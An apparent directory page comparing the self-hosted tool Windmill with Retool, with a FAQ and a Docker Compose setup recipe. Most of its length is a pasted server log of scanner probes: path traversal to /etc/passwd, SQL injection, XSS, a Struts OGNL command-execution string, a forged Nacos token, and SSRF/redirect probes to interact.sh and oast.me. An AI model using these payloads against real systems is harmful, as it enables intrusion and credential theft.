Windmill is an open-source, self-hosted alternative to Retool that turns scripts into workflows, webhooks, and internal UIs with a fast Rust runtime.
Retool confines internal tools to a proprietary visual canvas with steep per-seat pricing, forcing developers to rewrite production scripts into browser queries. Windmill executes those scripts directly as backend jobs in Python, TypeScript, Go, or Bash, generating typed administrative forms and dashboards on private infrastructure. Powered by a Rust engine and PostgreSQL queues, it makes code the primary integration contract.
Retool excels at quick drag-and-drop dashboards for operational teams, but its integration model centers on browser-mediated API requests and cloud proxies. For long-running batch jobs, asynchronous message handling, or access to isolated private networks, engineers often need external serverless functions or worker queues. Windmill unifies UI generation and backend orchestration into a single runtime. Integrations exist as typed, reusable resources stored in an encrypted vault, enabling scripts to consume events from Apache Kafka, AWS SQS, NATS, and incoming webhooks without extra infrastructure.
The trade-off lies between visual convenience and developer control. Building in Retool suits non-technical staff assembling dashboards from pre-built widgets, while Windmill requires developers to define typed parameters in standard code. Rebuilding rich UI layouts in Windmill requires upfront effort, but migrating backend logic from defunct platforms like Airplane or hosted tools like Pipedream is straightforward because scripts remain plain Git-synced files. Self-hosting Windmill also removes per-seat licensing barriers as internal usage expands.
Is Windmill free for internal commercial use? Yes. Windmill's core is open source under AGPLv3, and its Community Edition allows organizations to self-host and run internal workloads without licensing fees.
Windmill vs Retool — which should engineering teams choose? Choose Retool if non-technical teams need drag-and-drop dashboard builders for databases; choose Windmill if developers want to run arbitrary code as audited internal tools and workflows on private infrastructure.
Can Windmill run in air-gapped environments? Yes. Because Windmill runs on a standard PostgreSQL database with self-contained workers, it can be deployed fully offline via Docker Compose or Helm.
Windmill is a compelling choice for technical organizations that want to turn backend scripts into audited internal workflows and administrative panels without paying per-seat SaaS taxes, provided they can manage Linux worker sandboxing. Maintained with active releases through September 2026, its dual distribution model combines an open-source AGPL-3.0 engine with commercial enterprise extensions, giving infrastructure teams operational sovereignty over internal automation.
We started this exact setup from scratch in a clean Linux machine on Nov 1, 2026 and checked it through Windmill's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p windmill && cd windmill
curl -fsSL https://open-source.store/tools/windmill/compose.yml -o compose.ymlcat > .env <<EOF
POSTGRES_PASSWORD=$(openssl rand -hex 12)
BASE_URL=http://localhost:8000
EOFPOSTGRES_PASSWORD — Password for the PostgreSQL database user. Generated above; keep it secret.BASE_URL — Public URL where users, webhooks, and callbacks reach Windmill.docker compose up -dservices:
db:
image: postgres:18
shm_size: 1g
restart: unless-stopped
volumes:
- db_data:/var/lib/postgresql
environment:
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
POSTGRES_DB: windmill
healthcheck:
test: ["CMD-SHELL", "pg_isready -U postgres"]
interval: 10s
timeout: 5s
retries: 5
windmill_server:
image: ghcr.io/windmill-labs/windmill:1.855.1
restart: unless-stopped
ports:
- "8000:8000"
environment:
DATABASE_URL: postgres://postgres:${POSTGRES_PASSWORD}@db:5432/windmill?sslmode=disable
MODE: server
BASE_URL: ${BASE_URL}
depends_on:
db:
condition: service_healthy
volumes:
- worker_logs:/tmp/windmill/logs
healthcheck:
test: ["CMD-SHELL", "curl -f http://localhost:8000/api/health/status"]
interval: 10s
timeout: 5s
retries: 5
windmill_worker:
image: ghcr.io/windmill-labs/windmill:1.855.1
restart: unless-stopped
environment:
DATABASE_URL: postgres://postgres:${POSTGRES_PASSWORD}@db:5432/windmill?sslmode=disable
MODE: worker
WORKER_GROUP: default
BASE_URL: ${BASE_URL}
depends_on:
db:
condition: service_healthy
volumes:
- worker_dependency_cache:/tmp/windmill/cache
- worker_logs:/tmp/windmill/logs
volumes:
db_data:
worker_dependency_cache:
worker_logs:
Go, gRPC and Protobuf done right, LLM agents in production, and the hard parts of shipping a first product.
Show that Windmill is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 1080 s: ghcr.io/windmill-labs/windmill:1.855.1, postgres:18, ghcr.io/windmill-labs/windmill:1.855.1.
Based on the upstream setup. Official compose pinned to 1.855.1, PostgreSQL 18, and database password generated in .env. Exposes Windmill web server directly on port 8000; worker_native (in-process worker) and windmill_extra (LSP code intelligence, multiplayer, and debugger services) are dropped to fit standard 2 CPU / 4 GB resources.
windmill_server-1 | 2026-11-01T16:26:31.935806551Z 2026-11-01T16:26:31.935788Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/tool/log/c.php?strip_slashes=system&host=ipconfig traceId="c11b5e90-c16a-4934-a35b-c12f8e5476c3"
windmill_server-1 | 2026-11-01T16:26:31.935929509Z 2026-11-01T16:26:31.935902Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/gallery/zp-core/setup/index.php traceId="96711c30-97a8-4d7c-abb6-1f9ccb571a55"
windmill_server-1 | 2026-11-01T16:26:31.936032259Z 2026-11-01T16:26:31.936012Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/ccm/system/dialogs/file/usage/1 traceId="88c30424-e1e9-4cc2-9680-d8dc9a671575"
windmill_server-1 | 2026-11-01T16:26:31.936135509Z 2026-11-01T16:26:31.936106Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/?travelpayouts_redirect=https://oast.me traceId="0737d809-ddf8-4067-8846-804dcb04d489"
windmill_server-1 | 2026-11-01T16:26:31.936268342Z 2026-11-01T16:26:31.936241Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/?travelpayouts_redirect=https://oast.me traceId="8509d53c-f020-4cf8-b271-e51c12d2ea70"
windmill_server-1 | 2026-11-01T16:26:31.936409009Z 2026-11-01T16:26:31.936384Z WARN request: windmill-api/src/tracing_init.rs:54: response latency=0 status=404 method=GET uri=/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd traceId="35f917d8-8179-4503-806f-825ef8d9a40b"
windmill_server-1 | 2026-11-01T16:26:31.936511592Z 2026-11-01T16:26:31.936494Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+ traceId="38f69974-cc8f-4969-9508-5df0aa6f145b"
windmill_server-1 | 2026-11-01T16:26:31.936614134Z 2026-11-01T16:26:31.936588Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+ traceId="d22540cf-d7a0-405a-bb69-bd31460b4fee"
windmill_server-1 | 2026-11-01T16:26:31.936708384Z 2026-11-01T16:26:31.936691Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/apache.conf traceId="2d4499cd-12bb-4fc8-8673-c6476899dd2c"
windmill_server-1 | 2026-11-01T16:26:31.936795801Z 2026-11-01T16:26:31.936778Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/classified/%22%3E%3Cimg%20src=a%20onerror=alert('document.domain')%3E/search?category=1 traceId="8aa3311a-2d8a-4875-9f84-d271bd201a48"
windmill_server-1 | 2026-11-01T16:26:31.936885634Z 2026-11-01T16:26:31.936865Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/shindig/gadgets/proxy?container=default&url=http://oast.pro traceId="92f3c115-f129-4886-a4d7-dbba07637aa6"
windmill_server-1 | 2026-11-01T16:26:31.936964842Z 2026-11-01T16:26:31.936950Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com traceId="e40e818c-84d1-4d61-b2e4-e3f5926b6c6f"
windmill_server-1 | 2026-11-01T16:26:31.937254259Z 2026-11-01T16:26:31.937227Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd traceId="e08d6a5f-d164-4ea6-a69c-a6052665de89"
windmill_server-1 | 2026-11-01T16:26:31.937482926Z 2026-11-01T16:26:31.937451Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/signin traceId="86416d31-6f02-4541-9274-aab480dfc655"
windmill_server-1 | 2026-11-01T16:26:31.937689884Z 2026-11-01T16:26:31.937660Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream())) traceId="c6189f2e-104d-4b95-b223-f13dfbf274e6"
windmill_server-1 | 2026-11-01T16:26:31.938744967Z 2026-11-01T16:26:31.938672Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/terraform.tfstate.backup traceId="1f895a32-4795-4794-a958-766419300dfa"
windmill_server-1 | 2026-11-01T16:26:31.939618092Z 2026-11-01T16:26:31.939546Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/redirector.php?url=https://interact.sh traceId="bb4aa498-97f0-467f-9bf2-95462577d82b"
windmill_server-1 | 2026-11-01T16:26:31.939773717Z 2026-11-01T16:26:31.939721Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g traceId="5460f7ab-bd92-47a7-87c2-71c6135d6400"
windmill_server-1 | 2026-11-01T16:26:31.939872634Z 2026-11-01T16:26:31.939846Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g traceId="011a96ee-95ea-414e-ba66-4e07d56a089f"
windmill_server-1 | 2026-11-01T16:26:31.940226634Z 2026-11-01T16:26:31.940023Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p traceId="836b408a-8ebb-4d60-9057-a7ce9247d4a6"
windmill_server-1 | 2026-11-01T16:26:31.940240634Z 2026-11-01T16:26:31.940166Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/terraform.tfstate.backup traceId="96faaf01-4bb3-461b-9d40-3f0a00bbfae7"
windmill_server-1 | 2026-11-01T16:26:31.940285634Z 2026-11-01T16:26:31.940264Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/library/auth.json traceId="6c5d2128-9a1d-4dfd-a006-dce3a44a047e"
windmill_server-1 | 2026-11-01T16:26:31.941074092Z 2026-11-01T16:26:31.941045Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/Products/Files/HttpHandlers/filehandler.ashx?action=thumb&fileid=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E traceId="110d2dec-5ae3-4a04-9488-daf96937033f"
windmill_server-1 | 2026-11-01T16:26:31.941162634Z 2026-11-01T16:26:31.941153Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/Products/Files/HttpHandlers/filehandler.ashx?action=thumb&fileid=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E traceId="47328717-0a2a-4c47-a5dc-626fa7cde496"
windmill_server-1 | 2026-11-01T16:26:31.941302551Z 2026-11-01T16:26:31.941159Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p traceId="cb289180-d194-437f-8417-ee06337abc02"
windmill_server-1 | 2026-11-01T16:26:31.941304842Z 2026-11-01T16:26:31.941197Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/redirector.php?url=https://interact.sh traceId="70c06d30-7589-4e1d-a656-041771fa68b6"
windmill_server-1 | 2026-11-01T16:26:31.941306051Z 2026-11-01T16:26:31.941215Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e traceId="8e03aa01-3953-4f91-b828-b6c3d516927e"
windmill_server-1 | 2026-11-01T16:26:31.941309551Z 2026-11-01T16:26:31.941228Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e traceId="004d3d9f-d6a4-4b7e-afe1-36e11af2412b"
windmill_server-1 | 2026-11-01T16:26:31.941310634Z 2026-11-01T16:26:31.941241Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/install/index.php traceId="27eceef7-1766-490b-a333-ee42c05450ec"
windmill_server-1 | 2026-11-01T16:26:31.941311759Z 2026-11-01T16:26:31.941254Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/install/index.php traceId="c355ae49-b0f1-46bf-983a-a78e319a5a6c"
windmill_server-1 | 2026-11-01T16:26:31.941312884Z 2026-11-01T16:26:31.941264Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/.aws/config traceId="b2fbacf0-dd98-4b26-b605-8901d119cc53"
windmill_server-1 | 2026-11-01T16:26:31.941348134Z 2026-11-01T16:26:31.941333Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/novius-os/admin/nos/login?redirect=http://interact.sh traceId="d35010b4-cf46-450e-b4c1-546306fa3694"
windmill_server-1 | 2026-11-01T16:26:31.942843426Z 2026-11-01T16:26:31.942790Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/novius-os/admin/nos/login?redirect=http://interact.sh traceId="f8f53425-9a69-456d-ae8f-08a608c5af10"
windmill_server-1 | 2026-11-01T16:26:31.942998217Z 2026-11-01T16:26:31.942975Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/.aws/config traceId="4282c8e4-31af-4f5e-8829-6e6bff5858ca"
windmill_server-1 | 2026-11-01T16:26:31.943177842Z 2026-11-01T16:26:31.943156Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/_vti_pvt/service.pwd traceId="886ab713-514f-49d8-b0c5-8d7c49467f93"
windmill_server-1 | 2026-11-01T16:26:31.943638009Z 2026-11-01T16:26:31.943608Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/img.php?f=/./etc/./passwd traceId="58da3d5b-14d3-4c7f-a622-7a83ad76b236"
windmill_server-1 | 2026-11-01T16:26:31.943734467Z 2026-11-01T16:26:31.943715Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/nacos/v1/auth/users?pageNo=1&pageSize=9 traceId="d933c53b-2989-4667-93b9-67e48a9fe2de"
windmill_server-1 | 2026-11-01T16:26:31.943801676Z 2026-11-01T16:26:31.943784Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00 traceId="eec5053f-ca13-4a43-a0a2-7702f9115a3f"
windmill_server-1 | 2026-11-01T16:26:31.943863592Z 2026-11-01T16:26:31.943850Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com traceId="f81e85dd-9f19-484f-aff9-5eb7eec62ed0"
windmill_server-1 | 2026-11-01T16:26:31.943934759Z 2026-11-01T16:26:31.943917Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/nette.micro/?callback=phpcredits traceId="bd0db262-bc83-4677-89a1-3abf9294cea4"
windmill_server-1 | 2026-11-01T16:26:31.943990342Z 2026-11-01T16:26:31.943977Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E traceId="090da41e-93ae-457e-8a54-6aee696a06da"
windmill_server-1 | 2026-11-01T16:26:31.944061051Z 2026-11-01T16:26:31.944035Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/ads/www/delivery/lg.php?dest=http://interact.sh traceId="7501f656-fb73-47f2-a834-d92938a07838"
windmill_server-1 | 2026-11-01T16:26:31.944132884Z 2026-11-01T16:26:31.944118Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/vendor/auth.json traceId="026df15a-09fa-4fb4-b618-32b37cba81ce"
windmill_server-1 | 2026-11-01T16:26:31.944209801Z 2026-11-01T16:26:31.944189Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small traceId="75dc9971-bd07-4eb3-9c28-19b48ef6043e"
windmill_server-1 | 2026-11-01T16:26:31.944272884Z 2026-11-01T16:26:31.944256Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g traceId="94294032-51e7-498a-9cec-33b5fdbc0462"
windmill_server-1 | 2026-11-01T16:26:31.944333717Z 2026-11-01T16:26:31.944317Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g traceId="26197a74-d4c9-49e2-9b86-719548a92d22"
windmill_server-1 | 2026-11-01T16:26:31.944505009Z 2026-11-01T16:26:31.944489Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/jsps/helprequest.jsp?url=%27)%22+onerror=%22confirm(%27document.domain%27)%22 traceId="c4181134-a15e-4457-bd40-883ef5b406e5"
windmill_server-1 | 2026-11-01T16:26:31.944568551Z 2026-11-01T16:26:31.944555Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini traceId="459c686e-3502-45cc-9b43-ffe51b50060e"
windmill_server-1 | 2026-11-01T16:26:31.944628884Z 2026-11-01T16:26:31.944618Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini traceId="cdb19966-19ec-4bc3-89f7-994d559c7c0f"
windmill_server-1 | 2026-11-01T16:26:31.944655176Z 2026-11-01T16:26:31.944643Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/redirector.php?do=nodelay&url=https://interact.sh traceId="94e5fac8-f752-4961-8468-197c2acc64f9"
windmill_server-1 | 2026-11-01T16:26:31.944718842Z 2026-11-01T16:26:31.944708Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/img.php?f=/./etc/./passwd traceId="3838a5fe-cd25-4be8-bdcc-10246fd26ea7"
windmill_server-1 | 2026-11-01T16:26:31.944784967Z 2026-11-01T16:26:31.944769Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/nette.micro/?callback=phpcredits traceId="40df3e67-944c-405d-8b35-d904c8baa3ec"
windmill_server-1 | 2026-11-01T16:26:31.944841217Z 2026-11-01T16:26:31.944830Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E traceId="680fbfac-c1d6-497f-954d-c30a82766783"
windmill_server-1 | 2026-11-01T16:26:31.944901926Z 2026-11-01T16:26:31.944887Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/ads/www/delivery/lg.php?dest=http://interact.sh traceId="d20e3261-be90-43db-8471-a66c45705a3d"
windmill_server-1 | 2026-11-01T16:26:31.944965551Z 2026-11-01T16:26:31.944954Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small traceId="85918b5b-b2af-4e33-94bc-301fe835694c"
windmill_server-1 | 2026-11-01T16:26:31.945127842Z 2026-11-01T16:26:31.945109Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/jsps/helprequest.jsp?url=%27)%22+onerror=%22confirm(%27document.domain%27)%22 traceId="3e468f4b-0006-4f2a-ab7e-4ec467e53356"
windmill_server-1 | 2026-11-01T16:26:32.907452426Z 2026-11-01T16:26:32.907224Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/database/auth.json traceId="3281b66f-cf6e-41b9-93f7-4ec9d0411b4a"
windmill_server-1 | 2026-11-01T16:26:32.909890218Z 2026-11-01T16:26:32.907426Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/zp-core/setup/index.php traceId="5d0e6f5e-d7b7-4a9c-999e-d68d84194716"
windmill_server-1 | 2026-11-01T16:26:32.909986676Z 2026-11-01T16:26:32.907679Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/redirector.php?do=nodelay&url=https://interact.sh traceId="f67bf31d-ef36-4516-b41b-ece486a5fed8"
windmill_server-1 | 2026-11-01T16:26:32.910005593Z 2026-11-01T16:26:32.908050Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00 traceId="fb6a8fad-b90e-4c08-ab85-41033ed0926d"
windmill_server-1 | 2026-11-01T16:26:32.910009468Z 2026-11-01T16:26:32.908129Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/v1/auth/users?pageNo=1&pageSize=9 traceId="6e69a7d9-128f-405d-97c3-f50f25ca6071"
windmill_server-1 | 2026-11-01T16:26:32.910012176Z 2026-11-01T16:26:32.908185Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me traceId="ac973e0b-7eed-4250-a195-a338f66e4e7c"
windmill_server-1 | 2026-11-01T16:26:32.910014884Z 2026-11-01T16:26:32.908238Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/ws-config.json traceId="ed0fb8b3-bc72-4af1-8103-66544f4521f0"
windmill_server-1 | 2026-11-01T16:26:32.910017759Z 2026-11-01T16:26:32.908288Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/var/log/debug.log traceId="648470aa-ad1d-411f-af11-ee6112b80c14"
windmill_server-1 | 2026-11-01T16:26:32.910020259Z 2026-11-01T16:26:32.908336Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/ws-config.json traceId="e33b4e34-2c18-4ea1-874e-d3b10493ccf4"
windmill_server-1 | 2026-11-01T16:26:32.910035051Z 2026-11-01T16:26:32.908399Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me traceId="c4432a4e-6b94-4aac-ba62-184676537a70"
windmill_server-1 | 2026-11-01T16:26:32.910038468Z 2026-11-01T16:26:32.908465Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/vendors/auth.json traceId="ecdcbadd-bb42-48b2-8e51-c35dd7ba36eb"
windmill_server-1 | 2026-11-01T16:26:32.910040968Z 2026-11-01T16:26:32.908529Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/var/log/debug.log traceId="0f8356ca-a83c-47b9-afda-b83489bed73a"
windmill_server-1 | 2026-11-01T16:26:32.910043468Z 2026-11-01T16:26:32.908601Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini traceId="c30a262f-717f-4a91-a252-79fb09e5be12"
windmill_server-1 | 2026-11-01T16:26:32.910046676Z 2026-11-01T16:26:32.908674Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/.php_cs.cache traceId="1fed863f-a3e2-4833-874e-561e9ce963ac"
windmill_server-1 | 2026-11-01T16:26:32.910049093Z 2026-11-01T16:26:32.908743Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-content/themes/eatery/nav.php?-Menu-=https://interact.sh/ traceId="3542efe8-691e-41ec-9749-2d89263241e9"
windmill_server-1 | 2026-11-01T16:26:32.910051718Z 2026-11-01T16:26:32.908814Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/.php_cs.cache traceId="fc486bbd-584f-45bc-ae22-96ca42085285"
windmill_server-1 | 2026-11-01T16:26:32.910056468Z 2026-11-01T16:26:32.908880Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-content/themes/eatery/nav.php?-Menu-=https://interact.sh/ traceId="9a95b690-ff3d-404a-a87b-ce7efcc36752"
windmill_server-1 | 2026-11-01T16:26:32.910059134Z 2026-11-01T16:26:32.908955Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/adserve/www/delivery/lg.php?dest=http://interact.sh traceId="7fcab3dd-7441-4eed-a9ac-3a113beb4740"
windmill_server-1 | 2026-11-01T16:26:32.910062259Z 2026-11-01T16:26:32.909034Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-content/themes/diarise/download.php?calendar=file:///etc/passwd traceId="eb5d4ece-c210-4078-ab4f-9e20cd64ea4d"
windmill_server-1 | 2026-11-01T16:26:32.910064843Z 2026-11-01T16:26:32.909130Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini traceId="050c6d90-ea8f-49ee-a011-8c559e5c7f3a"
windmill_server-1 | 2026-11-01T16:26:32.910067634Z 2026-11-01T16:26:32.909179Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=OPTIONS uri=/ traceId="2b4ef23d-692c-43d2-a51d-828f0efecc64"
windmill_server-1 | 2026-11-01T16:26:32.910070259Z 2026-11-01T16:26:32.909226Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/nacos/v1/auth/users?pageNo=1&pageSize=9 traceId="7952dd24-d840-45e3-b315-8159682abde4"
windmill_server-1 | 2026-11-01T16:26:32.910072843Z 2026-11-01T16:26:32.909271Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-content/themes/diarise/download.php?calendar=file:///etc/passwd traceId="88480d93-8b0f-4f5f-bcc4-774b283810df"
windmill_server-1 | 2026-11-01T16:26:32.910081718Z 2026-11-01T16:26:32.909316Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml traceId="64886552-3c53-474c-ab0c-99b615b13fa8"
windmill_server-1 | 2026-11-01T16:26:32.910084801Z 2026-11-01T16:26:32.909363Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/index.php?option=com_contenthistory&view=history&list[ordering]&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(999999999)),1) traceId="9afbdee5-edce-48fc-9402-112281dafb51"
windmill_server-1 | 2026-11-01T16:26:32.910087968Z 2026-11-01T16:26:32.909417Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/_vti_pvt/service.pwd traceId="5ca7244a-5c22-4461-839f-60f678f4e050"
